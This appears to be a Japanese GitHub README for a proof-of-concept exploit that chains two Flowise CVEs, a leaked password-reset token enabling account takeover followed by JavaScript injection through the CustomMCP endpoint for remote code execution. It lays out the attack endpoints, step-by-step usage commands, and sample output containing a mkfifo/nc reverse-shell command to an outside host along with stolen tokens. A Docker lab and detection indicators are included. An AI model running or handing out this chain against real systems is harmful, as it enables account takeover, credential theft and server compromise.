
FlowiseAI CVE-2025-58434 および CVE-2025-59528 のエクスプロイト PoC。リセットトークンの漏洩による未認証の ATO、続いて認証済み RCE を実証します。再現可能な Docker ラボ環境を含みます。
⚠️ 教育および許可されたセキュリティ研究のみを目的としています。 このツールを、自分が所有していない、または書面によるテスト許可がないシステムに対して実行することは違法です。
このリポジトリには、2つのFlowise脆弱性を連鎖させるPythonの概念実証コードが含まれています:
Flowiseは、LLMアプリケーションやAIエージェントワークフローを構築するためのドラッグ&ドロッププラットフォームです。CVE-2025-59528はFlowise 3.0.5に影響し、3.0.6で修正されました。この問題は、CustomMCPノード内でのmcpServerConfigの安全でない処理に起因します。CVE-2025-58434はパスワードリセットトークンの露出に関連し、これもFlowise 3.0.6で対処されました。
このツールは以下をサポートします:
脆弱なパスワードリセットフローは、一時的なパスワードリセットトークンを含む機密ユーザーデータをAPIレスポンスで露出します。有効なユーザーのメールアドレスを知る攻撃者は、パスワードリセットを要求し、レスポンスから一時トークンを取得し、それを使用してアカウントの新しいパスワードを設定できます。
この脆弱な動作は、同じAPIサーフェスを公開するFlowiseクラウドおよびセルフホスト/ローカルデプロイメントに影響します。修正方法は、パスワードリセットトークンや機密のアカウントリセットデータをAPIレスポンスで直接返さないことです。
この脆弱性はFlowiseのCustomMCPノードに存在します。mcpServerConfigパラメータはMCPサーバー設定プロセスの一部として解析され、セキュリティ検証なしでJavaScriptコードとして評価されます。これにより、認証された攻撃者が任意のJavaScriptコードを注入でき、FlowiseサーバーのNode.js環境で実行されます。convertToValidJSONString関数では、ユーザー入力がFunctionコンストラクタに渡され、入力が完全なNode.js権限を持つJavaScriptコードとして評価され、child_processなどのモジュールにアクセスしてシステムコマンドを実行できます。
このPoCで使用される脆弱なエンドポイントは次のとおりです:
POST /api/v1/node-load-method/customMCP
JSONボディのmcpServerConfigフィールドにjsペイロードを指定します。例:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
脆弱なコードはCustomMCP.tsファイルにあり、CVEのGitHubメンテナーアドバイザリで参照されています。
攻撃者 Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ ユーザーオブジェクト + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ パスワード変更 │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<細工された設定> │
│─────────────────────────────────────────►│
│ Node.jsでJSが評価される
│ コマンドが実行される
│◄─────────────────────────────────────────│
│ コマンド出力またはペイロードが発火 │
│ │
✓ アカウント乗っ取り + 認証済みRCE
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # 環境変数を設定
docker-compose up -d
引数なしで実行すると、ツールは完全な攻撃チェーンを実行し、ターゲットの脆弱性を確認し、指定されたメールアドレスのアカウント乗っ取りを実行し、ログインしてクッキーを取得し、リバースシェルペイロードでRCE脆弱性を悪用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
ターゲットがCVE-2025-58434およびCVE-2025-59528に対して脆弱かどうかを判断するバージョンチェックを実行します。ターゲットのAPIにリクエストを送信し、レスポンスを分析してFlowiseのバージョンと脆弱性ステータスを特定します。
python3 exploit.py --target http://localhost:3000 check
CVE-2025-58434のアカウント乗っ取りプロセスを実行します。指定されたメールアドレスに対してパスワードリセットリクエストを送信し、レスポンスから一時トークンを取得し、そのトークンを使用してアカウントの新しいパスワード(デフォルト: "Password123!")を設定します。
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
指定されたメールアドレスとパスワード(デフォルト: "Password123!")を使用してターゲットにログインします。成功すると、認証クッキー(例:connect.sid)を取得して表示し、認証済みリクエストに使用します。
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
RCE脆弱性(CVE-2025-59528)を悪用するため、細工されたmcpServerConfigペイロードを脆弱なエンドポイントに送信します。ペイロードは、指定されたLHOSTおよびLPORTで攻撃者のマシンに接続を返すリバースシェルコマンドを実行するように設計されています。トークンが指定されていない場合は、自動的にログインを試みて有効なトークンを取得します。LHOST/LPORTが指定されていない場合は、デフォルトでレスポンスに出力を返す単純なidコマンドペイロードを使用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
デフォルトモード。 攻撃チェーン全体を順次実行します:脆弱性の確認、アカウント乗っ取りの実行、ログインしてクッキーを取得、リバースシェルペイロードでRCE脆弱性を悪用します。フルチェーンモードでツールを実行する前に、専用のリスナー(例:nc -lvnp 9889)を実行してください。
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] ターゲットURL: http://localhost:3000
[∗] モジュール : full-mode
[∗] メール : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] ターゲットの脆弱性を確認中...
[+] ターゲットは脆弱である可能性が高いです。
────────────────────────────────────────────────────────────────────────────────
[∗] アカウント乗っ取り(CVE-2025-58434)を開始...
[+] パスワードリセットリクエストが正常に送信されました。
[∗] ターゲットユーザーデータ :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 名前 : Lab Admin
🡪 メール : [email protected]
🡪 資格情報 : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 ステータス : active
🡪 一時トークン : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 トークン有効期限 : 2026-05-08T19:37:47.025Z
[∗] 一時トークンを使用してパスワードをリセット中...
[∗] 新しいパスワード : Password123!
[+] アカウント乗っ取り成功!新しい資格情報:
🡪 メール : [email protected]
🡪 パスワード : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] セッションクッキーを取得するためにログイン処理を開始...
[+] ログイン成功!
[+] 取得したセッショントークン :
🡪 トークン : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] リモートコード実行(CVE-2025-59528)を開始...
[!] リバースシェルコマンドを使用する場合は、リスナーが準備できていることを確認してください!
[∗] リバースシェルコマンド: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] ターゲットURL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] RCEをトリガーするペイロードを送信中...
[+] ペイロードを送信しました。リバースシェル接続のためにリスナーを確認してください!
────────────────────────────────────────────────────────────────────────────────
[+] 作業完了。さようなら!
安全なテストにはローカルラボをお勧めします。
ラボのインストール:
cp .env.example .env # 必要に応じて環境変数を設定
docker compose up -d --build
docker compose logs -f
デフォルトで2つのFlowiseアカウントが作成されます:
[email protected]、パスワードはコンテナ起動時にランダム生成されます(ログでパスワードを確認してください)。[email protected]、パスワードはコンテナ起動時にランダム生成されますが、ログには表示されません。これはATOフローの対象となることを意図しています。ローカルインスタンスに対してPoCを実行:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
Flowiseのログを確認するには:
docker compose logs -f flowise-cve-lab
または:
docker logs -f flowise-cve-lab
エクスプロイトの可能性を示す兆候:
/api/v1/node-load-method/customMCP へのリクエストmcpServerConfig値process.mainModule、child_process、execSync、Buffer.from、Function などの文字列このプロジェクトは教育目的、ラボテスト、および許可されたセキュリティ研究のために提供されています。
このツールをシステムに対して実行する前に、明示的な許可を得ていることを確認する責任はあなたにあります。著者は、このコードを使用した誤用、損害、または違法行為について責任を負いません。セキュリティテストを実施する際は、常に倫理的なガイドラインと法的要件に従ってください。
| フラグ | 説明 | 例 |
|---|
-t, --target | ターゲットのベースURL | -t http://localhost:3000 |
-e, --email | ターゲットアカウントのメール | -e [email protected] |
--password | ログイン/RCEモード用の既知のパスワード | --password Password123! |
--token | 既存のセッショントークン、ログインをスキップ | --token eyJ... |
--new-password | ATO中に設定するパスワード | --new-password Password123! |
| モード | 説明 |
|---|
check | ターゲットが脆弱かどうかを確認 |
ato-mode | アカウント乗っ取りフローのみ実行 |
login-mode | ログインしてセッションクッキーを取得 |
rce-mode | RCEフローのみ実行 |
full-mode | ATO、ログイン、RCEを連鎖 |
| フラグ | 説明 | 例 |
|---|
-c, --command | 実行するカスタムコマンド | -c 'id' |
--lhost | リバースシェル用のリスナーホスト | --lhost 10.10.14.3 |
--lport | リバースシェル用のリスナーポート | --lport 4444 |
| フラグ | 説明 | デフォルト |
|---|
--no-check | バージョン/脆弱性チェックをスキップ | False |
-v, --verbose | デバッグログを有効化 | False |
--log-file | ログファイルのパス | logs/exploit.log |
--no-color | ANSIカラーを無効化 | False |